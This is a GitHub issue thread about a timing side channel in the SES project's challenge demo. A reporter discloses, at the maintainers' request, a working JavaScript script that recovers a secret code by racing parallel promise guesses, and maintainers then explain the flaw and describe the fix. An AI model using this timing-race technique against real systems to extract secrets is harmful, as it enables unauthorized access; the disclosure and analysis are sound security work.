Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Timing side channel can be exploited without Date.now #8

Closed
gibson042 opened this issue Aug 6, 2018 · 2 comments
Closed

Timing side channel can be exploited without Date.now #8

gibson042 opened this issue Aug 6, 2018 · 2 comments
Labels

Comments

@gibson042
Copy link

@gibson042 gibson042 commented Aug 6, 2018

Rather than rely on absolute measurement such as that enabled by Date.now, a https://rawgit.com/Agoric/SES/master/demo/?dateNow=NaN attacker can use the relative information exposed by resolution order of promises created within the same synchronous section.

This was originally disclosed as directed and is being publicly posted at maintainer request.

const CHARS = Array.from({length: 36}, (_, i) => toChar(i));
const MAX_LENGTH = 10;
const FILLER = Array.from({length: MAX_LENGTH}, _ => toChar(0)).join("");
const MATCH = {code: null};

attack().then(code => {
  log("found the code: " + code);
  return guess(code);
});

function attack(prefix="") {
  log("trying with prefix: " + prefix);
  if ( prefix.length >= MAX_LENGTH ) {
    log("too long; restarting");
    return attack();
  }

  // Try extensions in parallel, with (gratuitously) unpredictable ordering.
  let slowestChars = [];
  let guesses = shuffled(CHARS).map(c => {
    let code = (prefix + c + FILLER).slice(0, MAX_LENGTH);
    return guess(code).then(correct => {
      slowestChars.unshift(c);

      // Reject the correct code in a sentinel value for special handling.
      return correct && Promise.reject(Object.assign(MATCH, {code}));
    });
  });

  return Promise.all(guesses)
    // The slowest wrong answer has the longest correct prefix.
    .then(_ => attack(prefix + slowestChars[0]))

    // Catch the correct code; propagate other rejections.
    .catch(v => v === MATCH ? v.code : Promise.reject(v));
}

function shuffled(arr) {
  // Use a biased but simple shuffle instead of implementing Fisher-Yates.
  return arr.slice().sort(_ => Math.random() - 0.5);
}

function toChar(c) {
  return c.toString(36).toUpperCase();
}
@erights

This comment has been minimized.

Copy link
Contributor

@erights erights commented Aug 7, 2018

First, thank you @gibson042 for reporting this!

@gibson042 did indeed report this responsibly. It does meet our challenge, demonstrating that our challenge problem does have the side channel we had designed it not to have. While this demonstrates a security bug in our challenge page, the bug is not in the underlying technology---Realms, Frozen Realms, and SES---that we built the challenge to show off. Nevertheless, the fact that we fell into this bug alerts us to a possible hazard. To figure out how to reduce such hazards, we need to examine not only the bug, but how it is that we made this mistake.

The point of the demo is to show that a transformational library can be prevented from reading side channels by denying it any source of non-determinism; including anything that would enable it to measure duration. Many transformational libraries can easily operate within these restrictions. For these, this technique actually solves the side channel problem, rather than merely mitigating it.

For the demo, rather than make the attacker figure out how to read a complex side channel, like Meltdown, Spectre, or cache behavior, we provide the attacker with an egregious side channel---one which any attacker can easily read given, for example, Date.now (or even coarser sources of duration information). The idea we started with for an egregious side channel is a probe function that would just busy wait for an amount of time dependent on the secret. For example, if the secret were a number between 1 and 10, the probe function might be a loop for 10K times the secret. The challenge might then be to guess the secret better than chance.

Although this challenge would have been properly representative of the point we're making, we did not see how to give it a good user interface. One problem is that the browser only updates the ui between turns; so a pretty challenge page must spread the activity over multiple turns. Thus, we decided to represent the variable delay with setTimeout rather than busy waiting. We used setTimeout only internally and did not expose it, so we didn't notice the problem.

The problem is that these scheduling FIFO queues do a non-deterministic merge of all the inputs racing to get queued. Once we introduced observable behavior dependent on setTimeout this enabled the attacker to have multiple probes outstanding. The attacker can observe the outcome of the race among them. As I understand it, this is @gibson042 's attack.

Because the attacker can also schedule any number of events on the promise queue, to reschedule themselves, I thought at first that we actually enabled the attacker to measure duration more directly, by seeing how many promise turns go by before the probe resolves. In the browser this appears not to be the case, because the UI queue on which the setTimeout is scheduled is strictly higher priority than the promise queue. However, this is not mandated by the EcmaScript spec. Rather, it is left up to the host to determine which job queue to service next. I think I even remember a Node discussion considering using soft rather than hard priority between the job queues, so that a low priority queue would not starve. In that case, this same bug would have revealed a genuine timing channel.

warner added a commit that referenced this issue Aug 9, 2018
refs #8
@warner

This comment has been minimized.

Copy link
Member

@warner warner commented Aug 9, 2018

We've updated the demo: the new guess() function now does a busywait to simulate/exaggerate the timing channel attack (it just spins until Date.now() returns a high-enough value). It no longer returns a Promise.

In doing so, we lost the automatic refresh-the-UI that setTimeout was doing as a side-effect, so we needed to add it back in. After a lot of back-and-forth, we settled on expressing the attack code as a generator function, and refreshing the UI each time the generator yields a new value (the value itself is ignored). We don't iterate the generator again until after the setTimeout(0) has fired.

The attacker's code can queue additional promises, but these will all resolve immediately after the yield() is called, because the generator will not be cycled until the next event on the UI queue.

I've added a lot of text to https://github.com/Agoric/SES/tree/master/demo to explain the constraints on the attacker/defender code.. I'll try to move that onto the demo page itself.

@warner warner closed this Aug 9, 2018
warner added a commit that referenced this issue Aug 24, 2018
* `Nat(val)` ensures the value is a natural (non-negative) integer
* `SES.confineExpr(expr)` makes it easy to start with a function object, turn
  it into a string, then into a new function inside the SES realm.

This also updates the challenge page to fix a demo vulnerability (#8).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
3 participants
You can’t perform that action at this time.